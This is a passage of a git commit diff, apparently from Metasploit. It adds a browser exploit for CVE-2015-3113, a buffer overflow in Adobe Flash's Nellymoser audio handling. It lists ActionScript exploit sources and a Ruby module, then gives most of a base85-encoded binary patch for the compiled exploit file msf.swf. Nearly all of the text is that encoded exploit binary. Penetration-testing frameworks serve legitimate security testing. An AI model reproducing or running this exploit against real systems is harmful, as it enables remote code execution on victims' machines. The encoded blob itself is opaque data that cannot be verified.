1197 insertions(+) create mode 100755 data/exploits/CVE-2015-3113/msf.swf create mode 100644 external/source/exploits/CVE-2015-3113/Elf.as create mode 100755 external/source/exploits/CVE-2015-3113/Exploit.as create mode 100644 external/source/exploits/CVE-2015-3113/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-3113/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-3113/Exploiter.as create mode 100755 external/source/exploits/CVE-2015-3113/Logger.as create mode 100644 external/source/exploits/CVE-2015-3113/PE.as create mode 100644 modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb diff --git a/data/exploits/CVE-2015-3113/msf.swf b/data/exploits/CVE-2015-3113/msf.swf new file mode 100755 index 0000000000000000000000000000000000000000..ec2bd84de5db4e0871f888c08d57b43ba7d73ef0 GIT binary patch literal 20994 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ΞuvDx7{-7PPhHSQz&Nf{Cg|l=yk$_Lr2WS>Ae(_g81wuvE z=*$a-yyEAymjqlG%vEfXg#s1*Rsm=py!CAP;@*0V{l%qg&bZ2-+GMo<aD?xu^#5s3 z>DbMI?yfyr&=^8K9tT6ei0d#PZBd1(Y=uyR%;n5hmY`^U>*ym-j`4{60SH)re(;nn z!BD$?y*#R?(^=Ap9y1d5x7Q|PkQUI&q+w|1rH9BA0GGxVbv)0hNETGyRicB<?ohHh z15dUI5}E(f!m^w0*d(D`>*{?8GgHZ_Jh2DB6wW8PjEIaDSKs^ybf1dt<AY+TSCdkt zO?2|Vu?$?4oMefj8pQbaEaQu;o>W83G5NPa-##G|Cd74<?)YEf%?fPDLTclhak+5) zC_n1x=b+%i-)0Mo_vR-qqnFc)BCCxWhJ;j^P8tJ{-y5E_g6X!`_K`CAok~X+VJ(e| z$HU<m$h=WtHot^?KzQScs}c|-s`vR6WMySOD*bpprW%Tbn7lX6M*C)V{AHrtMQcvm zjhH9}q~vxOKz0PsaX<axzp14K{Q^{*QU;INM3f_BL#;F|!WT&+>347X+r+l-X~`+t z${(cp;Mz(QC-AT5X%vPsWF{-KDYj<UeKet4F?Z5JPCORR4Yxn-scD2K#RL%3=#VoA ze5aYQ-6uv5jX15KpGY^oK$zh*-D^dr`-n^cK)2;O#-SwDf*+j~%yiVfCgPW${Q^DQ zbL<=P+FN<#Cx7s_)+*uyzuiT9kc!JiSS7(HE6A?>Vw40S?bjogLL+$op*#p5cX49% z$e=Mm?%7@p&=0!6R)#;JisCF^tNt`|G-5C<FT%5XGLcF>!gmJD6T|~O*x8KYOQ;Ej z>MB|}g}+9MjU)$=*CWiYKMYTgQ(+r=VDjMUTm!wWnt^@G#tn-Wg-OtJIBTBctTAyg z9V2lQzbKW(udgs!@hJ0_o5>>!Lv}nfuyTFs_7``##I#fnTeOa-BECoXyD9LPPUv4j zZ%cC&dA%TnevaN*i;zCUGw=6fZK%3SmHQe%@Wiu9IQozuP8CF~MK8Z%fm|9?B^<Q_ zs*&xXu=_unlS1dDQ0fxSR!ayox$qTm*xswkmuSWd97edpWVV^%9U%fu12y9mY8uSK zN998j4dum3VrkukNRThvx*%B^ahifpyK82Pg*skj-q_)W-&qMNK)MRBK99Jf&azPW z7CVi`(Zu87(}1FJ2VRM~`Z9?emXYVy&v_fIpb7TTIIv`OVQVyLL5ql9gWK9WFll}W zy`N#^6WBiMBB-j&E$7*y-1w4=0rElABUttw%os3l_K>T01q$l!)OBAlRcL_idVeQ{ zZE|Ls0pPy0;T1gM3!fmOe*{ANfrS}aZT+l=n2lH_dwRVKPWaj!PR%0!ZwFyPLjP&= z@nyz{IYzYCBI{j4PkhV^VKHA$VN^=-)3U~oU;tVV#7k;J<=>IWq)<#qZ(E*iu&gbh zra!%*70^R$IZK2XaNm^oTJ(>=C{d?c=`lNSW*CId8mJJKxUIHlrVGtEY?r<Lq;hKR zNB^PK?ZFj6c(;eW9)D>;B<_v(qAGjKqU_d~M&?e>@<lbs!i7OUra#jYw3&|3aj^(n zMdT8@<6;%$h?-1SRW~A%GsrfK$nAWFt_?(!WyIENLMZw_6ecI+*d5q&F=cdOVt58D za+e#HMt&H$1SB5;<5D?jv`SZ!IY0|cPujN{3)}z|C}A=PlVL@rnZ!!pa0@ZT|5@ZT zWC}<<d%j*z&a6VJ8lMQGH86l`oFby#kWwYc35<QsJhY2Xn&|5&3r~&EIEolgPqU<m zGPEjD=XLCzGh-=rM&?Zc09EMi`})>H;4`u8o)qS}_HWiH!`>0r*Ei5Vu58@n3c~R( z`XPNHcNNqCGk9u=Rz?9J9k98JP`J82{$OQzG!zD?G}0mCr+rK4&gIkxtxWwdDUZu; zVu`lWmUV!`$j{$@i`7o`(mVXY-?$~%=_9Dhdi<fSP|nIt{>LyxL39hfQHU5H-%yy` z_kfmZ6ITE1lbR&ms_efd`f+ku(^a>sa5VQ_t)cs=$!zbj^JAOXL1y!>a559QyAhLh zr9q>AI6q+e4xC2|w(xA;IxeKydtBr2=GZCApcuvITrnB$M<&k>7K)E!^k%v&N^&o~ zXXOu%GVm8N0K}I@9ImfUb-|3qaPZ66&bib&E?M!_?0s<Xj{Ban8E^PzA&U<W*!5m* zhH%tuWgLbRgbHl>X{R^9&DHIcz58CG)*CQh3aI;dCG3%7+W9%-GN8TrYRfVLWX%Qi z86<&}Yja7hq?<CHs#v@)#Uud15PW(pHb7>S3h%7j6*ouWMYXA=Jw{{G7uJ$3xNwP1 zLqgI{q<V-t!siQW5yHpp-8{4+aHOcY-+=cwNEeOd3rG^mSZ}z)(?55KsIBGhh|fNv zrnIV^|1+_@3j%!bFCIf4%3~tgH;`yUTna@jC$=SvsMvd^E|`Fi^;n0gA*Z_P>D1l7 zjx0p0p=kd3VpB;~IwkiD9#R*b&c;0n!{$5S)fgHrq+(Tm3xE&b0goDT2e9?n9g_4t zO|i?)5Sq7up2Chb`N6D)*o!XLk3~t4Pz_m9HYqgfne*dHmti_3zczR1NZtpZ|EjoB zo9uccH_^gqC;pG|+*X+^YYCe|WEub;FG0U=`<BPK8(qVLa;5-SV*O00BQz-gb`H&V z<9BC91V!nU^dJ=d%RQIEyp`T1WF)i$#Ovjq$@aN<g2d5x3K<4`s{*`SfqXtJ4PVib z#vIOU!f62W*==CyHd3ZmiFr38kI%YoibLzECQ#6;o!knkwVBgYAcju#2u~}zxRh~A zRFu5yE5c24hWXnyt5@aKyo+Yp74DAr7FYxf)H^YB7$L+agLXpyzbjxi)A^zm=>icJ z%tDRyz`!cD(}p~MN<Xs#Aj}%!59<1O#(7eNqa}3N$-XcT(M4C_iIga!Bdc6Hyd|mo zTTIgJcEE5GydKBq=GodypHJAqK>`VAB!a~fwCcmWLCJ*(2cTmxw8kjh7J4n#Go8ah z%IIRA!1ADHl)PfCr6X&Gis|`iP89Ato!qCMZUZUgem3jemxoQrQLs6!3%Uhy?MbNK z>Qe|rR6$VuqR56p+mSwqNOW+|@hlu}!Q-B;Mi+0AEbm~YyZU9$t#;K?HIhh3({~6H zzZWu03^j;(rSCZ&6oje$4Wk{Su%rw)l36wY5O{JrHmFv*4Tr#c4+n%%Vh<a0z~s3A zPO7+joBUQzS6e!3_pX2{v}i2hrx`wh_sZK7LO=-m{8lE2?{1DVe^^H^^pU9k`cGC! z4XXDZUSfD=vX$TG@}WEvB6)c{a!z{~OM-poO=59t(gRK3Av*84t6w`$f$zF?9j8wF z<4`GL<g_OQb4%mYfOT`!bDtccjPG~7sd{1D;;%SF2HPfCu#-riO%#V_W;(o3L^-R^ z4&7TEx$fIO>o9dlvnh?Jfdr(OPkwsNoyqMV9~;z$E2im~D2+tmN1MS&&qr5T7<vNJ z^yHJvty#QdYg7$jrx|Td*}YXrkyOD<Pz<a0+gsqpyRYkXXP8;TAP*2UH;GnP{k!Cs zsd+4u<2yHijkT3Hm8PfD_P}XoGUkea?tYVvKhhxH?|Y1_t#~)lpXFu97ba{@W@PXb z)x54M-YN<5Md|OyIv4#SA*(->Ku!J$rN|z2?<gprUtgc=l1zbxY}*q*=laIFk3lVW zfj`XWWYI96cXgcYyaa|@`N#-IJ>XWQYFc73>|d_{wk3l8EjizGTsaooe!0K&mW^v~ zK}RAb7WwT#41NzDO~1${<3~<AMk`(TX;TzU@UnTDWmM<g*P2>zGB}=+?Lx!_RsvgJ z_oy_xxHA92@=A3*1z_^hQ0h&R!rkmUd@@B~q!Djii*gIQbn%LMF=v3-mT-OP#HoU= z(FOl8i2Q@rh=gK_S4&8yN#Fo1Ta()L1lX<aa&b}H^9SsPEbJGJmJ)PXzCQ{8+fjXc z4=$Y#C>~*jH5zbT(b<#wU76i>9COJ9Z3-utvwH+;;hSqJK=?9?BC8OOPR~}Feq*RC zaLQ?2wgb;nlmunDz=%-;)OX~I@6M8Y_Sb95HBUO)#jwP<FGK|cQ@WiVG*X0+*>+hc zW&P<23$le;=qJq-o-_4wLJkMWu*9LTF}x({)h|qm>q_uc{1L`&ORWx4*V_FNrSCrC zOERb|d=tDVpvJm~YQ7#<S2Exq*O1wa#H9G9B=6GSp8e%9=!2y#%9=N%ykFL)sPEuX zI$MaMZ=M=kdH3qHM;-=#=+ScR&B?9rAtfQ#(J-ZMn_gJz6(f9ro=y~A`#BNovp@nD zQuA$mP`_$p(f!wfYCz9HcT@<~E~%lY&MUcX3^RUW=$f_WmFjy1hqz)p<oD*4)kr1# z|Knl!nrVqTfmGHq@Kt=X1uJh<513ISnV0GZ6(A^3t$!c#0Q!8e`wgF!wc%>AlfDMI z-Np&=Va4^5%~yj!COl+Z$$?rm0XLTt@b_1(h2`N0DL=Vyd-2G(&$3V&vb)ezmXi=n zd{ne(wm>9djIo7klE8-0kavnB+TsV^Y4cSt<q<PFVCfh$qdI?&fwJYrI!;AxG{OLO z{#A&MGz_ehK!R%k)>wOB#WY|rZz`KU%^vP_Gi^rAUS_U>1ca)Y`?gHB){H~wzo0EE zfgOTxSS)jb0be0+dDs@YuqW|8dSON>!PozNx7-tp=*Xw0jy>lUW{&$V==~$f-c>tO zd%zFps1j<~@L#KR<Z^cQbMKC~t?kb(p=<1BZU!f7voa5DL1I=8Z9LS&3_9du1GN%A zLFlq5*GpkPjAUoG25qa6i~|7%I|t;}TA^T`fuAvZKs3Spl>>?kon<qZoxSO2OP}Fi zWP@D+o}e4^Mw)TcxV$+(dlT?G+4$0q57Ls&?lZ+Eto6$!rmJuyanr^z7ghrIlv6VW z<bROzS<{kTT1uchP~-1f18sSEYQFr_TtoCP60uFD^I(Vr1RFYPtX7$It8s~p@CFO5 zd*8tWLA*>@D?gx(==nQ=yBvnY8dcFu)ncnp6bx>d`%!-73y(bAX-fU`$OGSklRneE zhb3gGWrcpJcW;b}`w?An$RQ!8t0soJ20yi$X@E#_8>VDo-EXUUp8d%QolJ77ulHPJ z4bSWVMvOFCac5J8Q*9JQO2&=5I}X;lGc?~o3E@Cw46qvY$NXG9r1OLnOk<gA{I4#6 z75An=gBLR7s3k(-dC~EZX`pE{-ox#4O;`~;RDOJs@SVRBw!(E1OYIi?1^9n%ymJse zvA&43^V%`c79E{dVAF`h0K6BCfDuG56!hj7WL`z|P4L65Z3F3Cq#bN#oduoZ3-l#( zPp$B6@l@ys)<Syp=0xA*;*ytCDwKaU(OJRFvRX1;=jHF(3K0NbjYPFJ)VTn+uX$D^ zUtbC0*XE;fzr^&$h#a$pzdh7u0D@VqDmzz}^t)sh1B*78Png2+Z@t;0`9BYJSrVi( zfj~3iL5?g;(E@=I7v>3EzlB<jKOTsRPwh5PFYqN?^cyx&pfZ6Xm-wj=K;m(-o89j* znWeppAUm~iCZKoW_DlYbGB62o@V+fGg_{zTxlJP%5k>Hq2*o~|O<CEeE=Dx<@*^Xp zPZyP9;F&$cV6-U$bfo&VMB+=eC%n?Qi=73?=_XkL${c)Z#GZ;H*Vx7FF>b@+R~+RW z{Ndik<EvGPRh46v00(~ms!1KLQG+Ya+<XW(`}xor+tg9qbHFb{cCiXe9mlnkXE+`D z5_f8Ze*^@vNm81W2|P^cxc4B79a;xc@uc!(Dl}HtW#&^szP9P*bcC`z`HMHD85?Z@ z(UQ~HcHp&y%ql@75A05N@|UYxn*lY_$SQeREP&&j-(>!?W-}FhfJ3Kt=5{hnhv1&l z_xMc@>?cV!Q3pLCt~!MTmI_QlVsWISi?1yvjsTfYH%;UFeOpZ7PRv&*8N7m~9-~Y- zhFV``mKXG`@@)aqWJN5d1Z&0$ti;x>l&aznyh2gxQ(QN4JdL2(?%{x9D=Q7KGDt4+ zr+*i`;Dw)VPhjh~;9(3G;8?GxiyWxWk^C8$Vs)Mq1|gxeL7$JpB3(^}*2Ze_U_?V@ zuE>QE^A(cRgm;1^mmt-CM)kpj!T=IU81`_f0nJe~4#r59JB9D31rK;6%f`AWCT8UV zBLs$WNLh>(xNN>vN^#&L)tR5YdkD(`Lw}r+WqAPq>bP!PyZ7R$vPd5%RnYz5WR@BT z*Tc;rb^B<7a-p65EaSX`KDc~h!v(!`Zo<?J_5==sOF}Z^EUME4a|*lN(129oFv!?2 